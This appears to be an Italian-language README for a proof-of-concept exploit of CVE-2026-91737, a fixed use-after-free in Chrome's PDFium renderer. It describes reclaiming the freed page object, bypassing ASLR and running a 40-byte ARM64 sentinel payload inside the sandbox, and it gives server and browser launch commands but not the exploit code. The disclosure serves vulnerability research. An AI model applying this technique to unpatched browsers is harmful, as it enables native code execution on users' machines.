sm1ee/cve-2026-91737Proof-of-concept per CVE-2026-91737, una vulnerabilità use-after-free in PDFium nel renderer PDF di Chrome che consente il bypass dell'ASLR e l'esecuzione di payload ARM64 all'interno della sandbox.
Un'azione JavaScript PDF rientrante scarica CPDF_Page mentre PopulateAnnotationLinks() di Chromium mantiene il suo handle di pagina grezzo. Questo PoC recupera l'allocazione, aggira l'ASLR ed esegue un payload ARM64 di 40 byte fornito dall'attaccante nel renderer PDF in sandbox. Il payload scrive un sentinel e ritorna allo scripting PDF.
Chromium issue 558036280 · Aggiornamento dell'exploit pubblico e allegati
Testato su Chrome Beta 154.0.8037.0 non modificato, macOS 26.2 arm64. Lo SHA-256 di Chrome Framework era 280c15c95811fcf799c91e7c307fc941cc61be1f156247d86d9856ead0e06062. Il problema è risolto; questo PoC utilizza gli offset per la build testata. Richiede l'accessibilità PDF. Il flag seguente rende deterministica tale voce e lascia abilitata la sandbox del renderer.
python3 oracle_server.py --port 8000 --root serve --events ./rce-events.jsonl
In un altro terminale:
"/Applications/Google Chrome Beta.app/Contents/MacOS/Google Chrome Beta" \
--user-data-dir="$(mktemp -d /tmp/plc01-rce.XXXXXX)" \
--no-first-run --no-default-browser-check \
--disable-background-networking --disable-component-update --disable-sync \
--force-renderer-accessibility --enable-logging=stderr --v=1 \
http://127.0.0.1:8000/quick/poc.html
Il successo termina con SELFCONTAINED_MAPJIT_NATIVE_PAYLOAD_SENTINEL_COMPLETE. L'esecuzione verificata ha richiesto circa 21 minuti. Le sonde ASLR fallite causano intenzionalmente il crash delle istanze del renderer PDF.
Ambito: esecuzione di codice nativo nel renderer PDF in sandbox. Non viene rivendicata alcuna compromissione del processo del browser né alcuna sandbox escape.